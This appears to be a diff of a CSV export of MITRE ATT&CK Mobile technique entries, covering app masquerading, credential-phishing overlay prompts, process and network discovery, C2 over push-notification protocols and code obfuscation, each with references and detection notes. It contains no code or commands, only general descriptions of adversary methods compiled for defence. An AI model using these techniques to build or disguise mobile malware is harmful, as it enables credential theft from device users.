app stores for presence of unauthorized apps that were submitted using the developer's identity.",,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'],MOB-T1078 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1474', 'external_id': 'T1474'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-6.html', 'external_id': 'APP-6'}, {'source_name': 'NowSecure-RemoteCode', 'description': 'Ryan Welton. (2015, June 15). A Pattern for Remote Code Execution using Arbitrary File Writes and MultiDex Applications. Retrieved December 22, 2016.', 'url': 'https://www.nowsecure.com/blog/2015/06/15/a-pattern-for-remote-code-execution-using-arbitrary-file-writes-and-multidex-applications/'}, {'source_name': 'Grace-Advertisement', 'description': 'M. Grace et al. (2012, April 16-18). Unsafe exposure analysis of mobile in-app advertisements. Retrieved December 22, 2016.', 'url': 'https://www.csc2.ncsu.edu/faculty/xjiang4/pubs/WISEC12_ADRISK.pdf'}]",1.1,attack-pattern,attack-pattern--0d95940f-9583-4e0f-824c-a42c1be47fad,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-10-17T00:14:20.652Z,2021-03-10T21:06:37.536Z,Supply Chain Compromise,"As further described in [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), supply chain compromise is the manipulation of products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. Somewhat related, adversaries could also identify and exploit inadvertently present vulnerabilities. In many cases, it may be difficult to be certain whether exploitable functionality is due to malicious intent or simply inadvertent mistake. -On iOS, the user can view installed Configuration Profiles through the device settings and look for unexpected profiles. A Mobile Device Management (MDM) system could use the iOS MDM APIs to examine the list of installed Configuration Profiles for anomalies.",,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1081,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'external_id': 'T1444', 'url': 'https://attack.mitre.org/techniques/T1444'}, {'external_id': 'APP-31', 'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-31.html'}, {'external_id': 'APP-14', 'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-14.html'}, {'url': 'http://ieeexplore.ieee.org/document/6234407', 'description': 'Yajin Zhou and Xuxian Jiang. (2012, May). Dissecting Android Malware: Characterization and Evolution. Retrieved December 9, 2016.', 'source_name': 'Zhou'}, {'source_name': 'Palo Alto HenBox', 'url': 'https://unit42.paloaltonetworks.com/unit42-henbox-chickens-come-home-roost/', 'description': 'A. Hinchliffe, M. Harbison, J. Miller-Osborn, et al. (2018, March 13). HenBox: The Chickens Come Home to Roost. Retrieved September 9, 2019.'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'initial-access'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}]",2.1,False,https://attack.mitre.org/techniques/T1444,mitre-mobile-attack,T1444,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Masquerade as Legitimate Application,"An adversary could distribute developed malware by masquerading the malware as a legitimate application. This can be done in two different ways: by embedding the malware in a legitimate application, or by pretending to be a legitimate application. +Third-party libraries incorporated into mobile apps could contain malicious behavior, privacy-invasive behavior, or exploitable vulnerabilities. An adversary could deliberately insert malicious behavior or could exploit inadvertent vulnerabilities. For example, security issues have previously been identified in third-party advertising libraries incorporated into apps.(Citation: NowSecure-RemoteCode)(Citation: Grace-Advertisement).",['initial-access'],https://attack.mitre.org/techniques/T1474,mitre-mobile-attack,T1474,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"* Insecure third-party libraries could be detected by application vetting techniques. For example, Google's [App Security Improvement Program](https://developer.android.com/google/play/asi) detects the use of third-party libraries with known vulnerabilities within Android apps submitted to the Google Play Store. +* Malicious software development tools could be detected by enterprises deploying integrity checking software to the computers that they use to develop code to detect presence of unauthorized, modified software development tools.",False,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'],MOB-T1077 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'initial-access'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1444', 'external_id': 'T1444'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-31.html', 'external_id': 'APP-31'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-14.html', 'external_id': 'APP-14'}, {'source_name': 'Zhou', 'description': 'Yajin Zhou and Xuxian Jiang. (2012, May). Dissecting Android Malware: Characterization and Evolution. Retrieved December 9, 2016.', 'url': 'http://ieeexplore.ieee.org/document/6234407'}, {'source_name': 'Palo Alto HenBox', 'description': 'A. Hinchliffe, M. Harbison, J. Miller-Osborn, et al. (2018, March 13). HenBox: The Chickens Come Home to Roost. Retrieved September 9, 2019.', 'url': 'https://unit42.paloaltonetworks.com/unit42-henbox-chickens-come-home-roost/'}]",2.1,attack-pattern,attack-pattern--a93ccb8f-3996-42e2-b7c7-bb599d4e205f,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:35.247Z,2020-04-08T15:19:56.147Z,Masquerade as Legitimate Application,"An adversary could distribute developed malware by masquerading the malware as a legitimate application. This can be done in two different ways: by embedding the malware in a legitimate application, or by pretending to be a legitimate application. Embedding the malware in a legitimate application is done by downloading the application, disassembling it, adding the malicious code, and then re-assembling it.(Citation: Zhou) The app would appear to be the original app, but would contain additional malicious functionality. The adversary could then publish the malicious application to app stores or use another delivery method. Pretending to be a legitimate application relies heavily on lack of scrutinization by the user. Typically, a malicious app pretending to be a legitimate one will have many similar details as the legitimate one, such as name, icon, and description.(Citation: Palo Alto HenBox) -Malicious applications may also masquerade as legitimate applications when requesting access to the accessibility service in order to appear as legitimate to the user, increasing the likelihood that the access will be granted.",attack-pattern--a93ccb8f-3996-42e2-b7c7-bb599d4e205f,attack-pattern,"['initial-access', 'defense-evasion']",2020-04-08T15:19:56.147Z,2017-10-25T14:48:35.247Z,Users can detect malicious applications by watching for nuances that could indicate the application is not the intended one when it is being installed.,,"['Alex Hinchliffe, Palo Alto Networks']",,,"['Android', 'iOS']",,,,,,,,,MOB-T1047,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1411', 'external_id': 'T1411'}, {'external_id': 'APP-31', 'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-31.html'}, {'url': 'http://w2spconf.com/2011/papers/felt-mobilephishing.pdf', 'description': 'A.P. Felt and D. Wagner. (2011, May 26). Phishing on Mobile Devices. Retrieved August 25, 2016.', 'source_name': 'Felt-PhishingOnMobileDevices'}, {'url': 'https://www.welivesecurity.com/2018/09/19/fake-finance-apps-google-play-target-around-world/', 'description': 'Lukáš Štefanko. (2016, July 7). Fake finance apps on Google Play target users from around the world. Retrieved September 24, 2018.', 'source_name': 'eset-finance'}, {'url': 'https://developer.android.com/reference/android/app/ActivityManager.html#getRunningTasks%28int%29', 'description': 'Android. (n.d.). ActivityManager getRunningTasks documentation. Retrieved January 19, 2017.', 'source_name': 'Android-getRunningTasks'}, {'url': 'http://stackoverflow.com/questions/30619349/android-5-1-1-and-above-getrunningappprocesses-returns-my-application-packag', 'description': 'Various. (n.d.). Android 5.1.1 and above - getRunningAppProcesses() returns my application package only. Retrieved January 19, 2017.', 'source_name': 'StackOverflow-getRunningAppProcesses'}, {'source_name': 'ThreatFabric Cerberus', 'url': 'https://www.threatfabric.com/blogs/cerberus-a-new-banking-trojan-from-the-underworld.html', 'description': 'ThreatFabric. (2019, August). Cerberus - A new banking Trojan from the underworld. Retrieved September 18, 2019.'}, {'source_name': 'Hassell-ExploitingAndroid', 'description': 'R. Hassell. (2011, October 12-13). Exploiting Androids for Fun and Profit. Retrieved October 10, 2019.', 'url': 'https://conference.hitb.org/hitbsecconf2011kul/materials/D1T1%20-%20Riley%20Hassell%20-%20Exploiting%20Androids%20for%20Fun%20and%20Profit.pdf'}, {'source_name': 'Android Background', 'url': 'https://developer.android.com/guide/components/activities/background-starts', 'description': 'Android Developers. (n.d.). Restrictions on starting activities from the background. Retrieved September 18, 2019.'}, {'source_name': 'Cloak and Dagger', 'url': 'http://cloak-and-dagger.org/', 'description': 'Fratantonio, Y., et al.. (2017). Cloak & Dagger. Retrieved September 18, 2019.'}, {'source_name': 'NowSecure Android Overlay', 'url': 'https://www.nowsecure.com/blog/2017/05/25/android-overlay-malware-system-alert-window-permission/', 'description': 'Ramirez, T.. (2017, May 25). ‘SAW’-ing through the UI: Android overlay malware and the System Alert Window permission explained. Retrieved September 18, 2019.'}, {'url': 'https://www.skycure.com/blog/accessibility-clickjacking/', 'description': 'Yair Amit. (2016, March 3). “Accessibility Clickjacking” – The Next Evolution in Android Malware that Impacts More Than 500 Million Devices. Retrieved December 21, 2016.', 'source_name': 'Skycure-Accessibility'}, {'source_name': 'XDA Bubbles', 'url': 'https://www.xda-developers.com/android-q-system-alert-window-deprecate-bubbles/', 'description': 'Rahman, M.. (2019, May 8). Bubbles in Android Q will fully replace the overlay API in a future Android version. Retrieved September 18, 2019.'}, {'description': 'Group-IB. (2019, March 28). Group-IB uncovers Android Trojan named «Gustuff» capable of targeting more than 100 global banking apps, cryptocurrency and marketplace applications. Retrieved September 3, 2019.', 'url': 'https://www.group-ib.com/blog/gustuff', 'source_name': 'Group IB Gustuff Mar 2019'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'credential-access'}]",2.1,False,https://attack.mitre.org/techniques/T1411,mitre-mobile-attack,T1411,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Input Prompt,"The operating system and installed applications often have legitimate needs to prompt the user for sensitive information such as account credentials, bank account information, or Personally Identifiable Information (PII). Adversaries may mimic this functionality to prompt users for sensitive information. +Malicious applications may also masquerade as legitimate applications when requesting access to the accessibility service in order to appear as legitimate to the user, increasing the likelihood that the access will be granted.","['initial-access', 'defense-evasion']",https://attack.mitre.org/techniques/T1444,mitre-mobile-attack,T1444,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Alex Hinchliffe, Palo Alto Networks']",,,Users can detect malicious applications by watching for nuances that could indicate the application is not the intended one when it is being installed.,False,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'],MOB-T1047 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1411', 'external_id': 'T1411'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-31.html', 'external_id': 'APP-31'}, {'source_name': 'Felt-PhishingOnMobileDevices', 'description': 'A.P. Felt and D. Wagner. (2011, May 26). Phishing on Mobile Devices. Retrieved August 25, 2016.', 'url': 'http://w2spconf.com/2011/papers/felt-mobilephishing.pdf'}, {'source_name': 'eset-finance', 'description': 'Lukáš Štefanko. (2016, July 7). Fake finance apps on Google Play target users from around the world. Retrieved September 24, 2018.', 'url': 'https://www.welivesecurity.com/2018/09/19/fake-finance-apps-google-play-target-around-world/'}, {'source_name': 'Android-getRunningTasks', 'description': 'Android. (n.d.). ActivityManager getRunningTasks documentation. Retrieved January 19, 2017.', 'url': 'https://developer.android.com/reference/android/app/ActivityManager.html#getRunningTasks%28int%29'}, {'source_name': 'StackOverflow-getRunningAppProcesses', 'description': 'Various. (n.d.). Android 5.1.1 and above - getRunningAppProcesses() returns my application package only. Retrieved January 19, 2017.', 'url': 'http://stackoverflow.com/questions/30619349/android-5-1-1-and-above-getrunningappprocesses-returns-my-application-packag'}, {'source_name': 'ThreatFabric Cerberus', 'description': 'ThreatFabric. (2019, August). Cerberus - A new banking Trojan from the underworld. Retrieved September 18, 2019.', 'url': 'https://www.threatfabric.com/blogs/cerberus-a-new-banking-trojan-from-the-underworld.html'}, {'source_name': 'Hassell-ExploitingAndroid', 'description': 'R. Hassell. (2011, October 12-13). Exploiting Androids for Fun and Profit. Retrieved October 10, 2019.', 'url': 'https://conference.hitb.org/hitbsecconf2011kul/materials/D1T1%20-%20Riley%20Hassell%20-%20Exploiting%20Androids%20for%20Fun%20and%20Profit.pdf'}, {'source_name': 'Android Background', 'description': 'Android Developers. (n.d.). Restrictions on starting activities from the background. Retrieved September 18, 2019.', 'url': 'https://developer.android.com/guide/components/activities/background-starts'}, {'source_name': 'Cloak and Dagger', 'description': 'Fratantonio, Y., et al.. (2017). Cloak & Dagger. Retrieved September 18, 2019.', 'url': 'http://cloak-and-dagger.org/'}, {'source_name': 'NowSecure Android Overlay', 'description': 'Ramirez, T.. (2017, May 25). ‘SAW’-ing through the UI: Android overlay malware and the System Alert Window permission explained. Retrieved September 18, 2019.', 'url': 'https://www.nowsecure.com/blog/2017/05/25/android-overlay-malware-system-alert-window-permission/'}, {'source_name': 'Skycure-Accessibility', 'description': 'Yair Amit. (2016, March 3). “Accessibility Clickjacking” – The Next Evolution in Android Malware that Impacts More Than 500 Million Devices. Retrieved December 21, 2016.', 'url': 'https://www.skycure.com/blog/accessibility-clickjacking/'}, {'source_name': 'XDA Bubbles', 'description': 'Rahman, M.. (2019, May 8). Bubbles in Android Q will fully replace the overlay API in a future Android version. Retrieved September 18, 2019.', 'url': 'https://www.xda-developers.com/android-q-system-alert-window-deprecate-bubbles/'}, {'source_name': 'Group IB Gustuff Mar 2019', 'description': 'Group-IB. (2019, March 28). Group-IB uncovers Android Trojan named «Gustuff» capable of targeting more than 100 global banking apps, cryptocurrency and marketplace applications. Retrieved September 3, 2019.', 'url': 'https://www.group-ib.com/blog/gustuff'}]",2.1,attack-pattern,attack-pattern--3dd58c80-4c2e-458c-9503-1b2cd273c4d2,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:34.407Z,2020-06-24T15:04:20.321Z,Input Prompt,"The operating system and installed applications often have legitimate needs to prompt the user for sensitive information such as account credentials, bank account information, or Personally Identifiable Information (PII). Adversaries may mimic this functionality to prompt users for sensitive information. Compared to traditional PCs, the constrained display size of mobile devices may impair the ability to provide users with contextual information, making users more susceptible to this technique’s use.(Citation: Felt-PhishingOnMobileDevices) @@ -4185,72 +3812,72 @@ A malicious application could display a prompt on top of a running legitimate ap ### Fake device notifications -A malicious application could send fake device notifications to the user. Clicking on the device notification could trigger the malicious application to display an input prompt.(Citation: Group IB Gustuff Mar 2019)",attack-pattern--3dd58c80-4c2e-458c-9503-1b2cd273c4d2,attack-pattern,['credential-access'],2020-06-24T15:04:20.321Z,2017-10-25T14:48:34.407Z,The user can view and manage which applications hold the SYSTEM_ALERT_WINDOW permission to create overlay windows on top of other apps through the device settings in Apps & notifications -> Special app access -> Display over other apps (the exact menu location may vary between Android versions).,,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1014,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1424', 'external_id': 'T1424'}, {'source_name': 'Android-SELinuxChanges', 'description': 'Various. (2016, March 31). Overly restrictive SELinux filesystem permissions in Android N. Retrieved December 21, 2016.', 'url': 'https://code.google.com/p/android/issues/detail?id=205565'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'discovery'}]",1.0,,https://attack.mitre.org/techniques/T1424,mitre-mobile-attack,T1424,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Process Discovery,"On Android versions prior to 5, applications can observe information about other processes that are running through methods in the ActivityManager class. On Android versions prior to 7, applications can obtain this information by executing the ps command, or by examining the /proc directory. Starting in Android version 7, use of the Linux kernel's hidepid feature prevents applications (without escalated privileges) from accessing this information (Citation: Android-SELinuxChanges).",attack-pattern--1b51f5bc-b97a-498a-8dbd-bc6b1901bf19,attack-pattern,['discovery'],2018-10-17T00:14:20.652Z,2017-10-25T14:48:33.926Z,,,,,,['Android'],,,,,,,,,MOB-T1027,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1421', 'external_id': 'T1421'}, {'source_name': 'ConnMonitor', 'description': 'Anti Spy Mobile. (2016, March 14). Network Connections. Retrieved December 21, 2016.', 'url': 'https://play.google.com/store/apps/details?id=com.antispycell.connmonitor&hl=en'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'discovery'}]",2.0,,https://attack.mitre.org/techniques/T1421,mitre-mobile-attack,T1421,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,System Network Connections Discovery,"On Android, applications can use standard APIs to gather a list of network connections to and from the device. For example, the Network Connections app available in the Google Play Store (Citation: ConnMonitor) advertises this functionality.",attack-pattern--dd818ea5-adf5-41c7-93b5-f3b839a219fb,attack-pattern,['discovery'],2019-02-01T19:34:17.460Z,2017-10-25T14:48:33.574Z,,,,,,['Android'],,,,,,,,,MOB-T1024,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1437', 'external_id': 'T1437'}, {'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-29.html', 'source_name': 'NIST Mobile Threat Catalogue', 'external_id': 'APP-29'}, {'source_name': 'Kaspersky-MobileMalware', 'description': 'Roman Unuchek and Victor Chebyshev. (2014, February 24). Mobile Malware Evolution: 2013. Retrieved December 22, 2016.', 'url': 'https://securelist.com/mobile-malware-evolution-2013/58335/'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'command-and-control'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'exfiltration'}]",1.1,,https://attack.mitre.org/techniques/T1437,mitre-mobile-attack,T1437,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Standard Application Layer Protocol,"Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic. +A malicious application could send fake device notifications to the user. Clicking on the device notification could trigger the malicious application to display an input prompt.(Citation: Group IB Gustuff Mar 2019)",['credential-access'],https://attack.mitre.org/techniques/T1411,mitre-mobile-attack,T1411,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,The user can view and manage which applications hold the SYSTEM_ALERT_WINDOW permission to create overlay windows on top of other apps through the device settings in Apps & notifications -> Special app access -> Display over other apps (the exact menu location may vary between Android versions).,False,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'],MOB-T1014 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1424', 'external_id': 'T1424'}, {'source_name': 'Android-SELinuxChanges', 'description': 'Various. (2016, March 31). Overly restrictive SELinux filesystem permissions in Android N. Retrieved December 21, 2016.', 'url': 'https://code.google.com/p/android/issues/detail?id=205565'}]",1.0,attack-pattern,attack-pattern--1b51f5bc-b97a-498a-8dbd-bc6b1901bf19,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:33.926Z,2018-10-17T00:14:20.652Z,Process Discovery,"On Android versions prior to 5, applications can observe information about other processes that are running through methods in the ActivityManager class. On Android versions prior to 7, applications can obtain this information by executing the ps command, or by examining the /proc directory. Starting in Android version 7, use of the Linux kernel's hidepid feature prevents applications (without escalated privileges) from accessing this information (Citation: Android-SELinuxChanges).",['discovery'],https://attack.mitre.org/techniques/T1424,mitre-mobile-attack,T1424,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,['Android'],,,,,,,,['Post-Adversary Device Access'],MOB-T1027 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1421', 'external_id': 'T1421'}, {'source_name': 'ConnMonitor', 'description': 'Anti Spy Mobile. (2016, March 14). Network Connections. Retrieved December 21, 2016.', 'url': 'https://play.google.com/store/apps/details?id=com.antispycell.connmonitor&hl=en'}]",2.0,attack-pattern,attack-pattern--dd818ea5-adf5-41c7-93b5-f3b839a219fb,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:33.574Z,2019-02-01T19:34:17.460Z,System Network Connections Discovery,"On Android, applications can use standard APIs to gather a list of network connections to and from the device. For example, the Network Connections app available in the Google Play Store (Citation: ConnMonitor) advertises this functionality.",['discovery'],https://attack.mitre.org/techniques/T1421,mitre-mobile-attack,T1421,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,['Android'],,,,,,,,['Post-Adversary Device Access'],MOB-T1024 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'command-and-control'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'exfiltration'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1437', 'external_id': 'T1437'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-29.html', 'external_id': 'APP-29'}, {'source_name': 'Kaspersky-MobileMalware', 'description': 'Roman Unuchek and Victor Chebyshev. (2014, February 24). Mobile Malware Evolution: 2013. Retrieved December 22, 2016.', 'url': 'https://securelist.com/mobile-malware-evolution-2013/58335/'}]",1.1,attack-pattern,attack-pattern--6a3f6490-9c44-40de-b059-e5940f246673,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:33.158Z,2019-02-03T14:52:45.266Z,Standard Application Layer Protocol,"Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic. -In the mobile environment, the Google Cloud Messaging (GCM; two-way) and Apple Push Notification Service (APNS; one-way server-to-device) are commonly used protocols on Android and iOS respectively that would blend in with routine device traffic and are difficult for enterprises to inspect. Google reportedly responds to reports of abuse by blocking access to GCM.(Citation: Kaspersky-MobileMalware)",attack-pattern--6a3f6490-9c44-40de-b059-e5940f246673,attack-pattern,"['command-and-control', 'exfiltration']",2019-02-03T14:52:45.266Z,2017-10-25T14:48:33.158Z,,,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1040,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'external_id': 'T1422', 'url': 'https://attack.mitre.org/techniques/T1422'}, {'url': 'https://developer.android.com/reference/java/net/NetworkInterface.html', 'description': 'Android. (n.d.). NetworkInterface. Retrieved December 21, 2016.', 'source_name': 'NetworkInterface'}, {'url': 'https://developer.android.com/reference/android/telephony/TelephonyManager.html', 'description': 'Android. (n.d.). TelephonyManager. Retrieved December 21, 2016.', 'source_name': 'TelephonyManager'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'discovery'}]",2.1,False,https://attack.mitre.org/techniques/T1422,mitre-mobile-attack,T1422,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,System Network Configuration Discovery,"On Android, details of onboard network interfaces are accessible to apps through the `java.net.NetworkInterface` class.(Citation: NetworkInterface) The Android `TelephonyManager` class can be used to gather related information such as the IMSI, IMEI, and phone number.(Citation: TelephonyManager) +In the mobile environment, the Google Cloud Messaging (GCM; two-way) and Apple Push Notification Service (APNS; one-way server-to-device) are commonly used protocols on Android and iOS respectively that would blend in with routine device traffic and are difficult for enterprises to inspect. Google reportedly responds to reports of abuse by blocking access to GCM.(Citation: Kaspersky-MobileMalware)","['command-and-control', 'exfiltration']",https://attack.mitre.org/techniques/T1437,mitre-mobile-attack,T1437,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'],MOB-T1040 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1422', 'external_id': 'T1422'}, {'source_name': 'NetworkInterface', 'description': 'Android. (n.d.). NetworkInterface. Retrieved December 21, 2016.', 'url': 'https://developer.android.com/reference/java/net/NetworkInterface.html'}, {'source_name': 'TelephonyManager', 'description': 'Android. (n.d.). TelephonyManager. Retrieved December 21, 2016.', 'url': 'https://developer.android.com/reference/android/telephony/TelephonyManager.html'}]",2.1,attack-pattern,attack-pattern--d4536441-1bcc-49fa-80ae-a596ed3f7ffd,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:32.740Z,2020-06-02T14:35:01.479Z,System Network Configuration Discovery,"On Android, details of onboard network interfaces are accessible to apps through the `java.net.NetworkInterface` class.(Citation: NetworkInterface) The Android `TelephonyManager` class can be used to gather related information such as the IMSI, IMEI, and phone number.(Citation: TelephonyManager) -On iOS, gathering network configuration information is not possible without root access.",attack-pattern--d4536441-1bcc-49fa-80ae-a596ed3f7ffd,attack-pattern,['discovery'],2020-06-02T14:35:01.479Z,2017-10-25T14:48:32.740Z,,,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1025,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1406', 'external_id': 'T1406'}, {'external_id': 'APP-21', 'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-21.html'}, {'url': 'http://pages.cs.wisc.edu/~vrastogi/static/papers/rcj13b.pdf', 'description': 'Vaibhav Rastogi, Yan Chen, and Xuxian Jiang. (2013, May). DroidChameleon: Evaluating Android Anti-malware against Transformation Attacks. Retrieved December 9, 2016.', 'source_name': 'Rastogi'}, {'url': 'http://ieeexplore.ieee.org/document/6234407', 'description': 'Yajin Zhou and Xuxian Jiang. (2012, May). Dissecting Android Malware: Characterization and Evolution. Retrieved December 9, 2016.', 'source_name': 'Zhou'}, {'url': 'http://blog.trendmicro.com/trendlabs-security-intelligence/cybercriminals-improve-android-malware-stealth-routines-with-obad/', 'description': 'Veo Zhang. (2013, June 13). Cybercriminals Improve Android Malware Stealth Routines with OBAD. Retrieved December 9, 2016.', 'source_name': 'TrendMicro-Obad'}, {'url': 'http://www.slideshare.net/Shakacon/fruit-vs-zombies-defeat-nonjailbroken-ios-malware-by-claud-xiao', 'description': 'Claud Xiao. (2016, July). Fruit vs Zombies: Defeat Non-jailbroken iOS Malware. Retrieved December 9, 2016.', 'source_name': 'Xiao-iOS'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}]",2.0,,https://attack.mitre.org/techniques/T1406,mitre-mobile-attack,T1406,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Obfuscated Files or Information,"An app could contain malicious code in obfuscated or encrypted form, then deobfuscate or decrypt the code at runtime to evade many app vetting techniques.(Citation: Rastogi) (Citation: Zhou) (Citation: TrendMicro-Obad) (Citation: Xiao-iOS)",attack-pattern--d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a,attack-pattern,['defense-evasion'],2019-09-23T13:26:01.263Z,2017-10-25T14:48:32.328Z,"Malicious obfuscation of files or information can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversary behavior.",,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1009,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'external_id': 'T1416', 'url': 'https://attack.mitre.org/techniques/T1416'}, {'source_name': 'Trend Micro iOS URL Hijacking', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/ios-url-scheme-susceptible-to-hijacking/', 'description': 'L. Wu, Y. Zhou, M. Li. (2019, July 12). iOS URL Scheme Susceptible to Hijacking. Retrieved September 11, 2020.'}, {'source_name': 'IETF-PKCE', 'description': 'N. Sakimura, J. Bradley, and N. Agarwal. (2015, September). IETF RFC 7636: Proof Key for Code Exchange by OAuth Public Clients. Retrieved December 21, 2016.', 'url': 'https://tools.ietf.org/html/rfc7636'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'credential-access'}]",2.0,False,https://attack.mitre.org/techniques/T1416,mitre-mobile-attack,T1416,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,URI Hijacking,"Adversaries may register Uniform Resource Identifiers (URIs) to intercept sensitive data. +On iOS, gathering network configuration information is not possible without root access.",['discovery'],https://attack.mitre.org/techniques/T1422,mitre-mobile-attack,T1422,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,False,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'],MOB-T1025 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1406', 'external_id': 'T1406'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 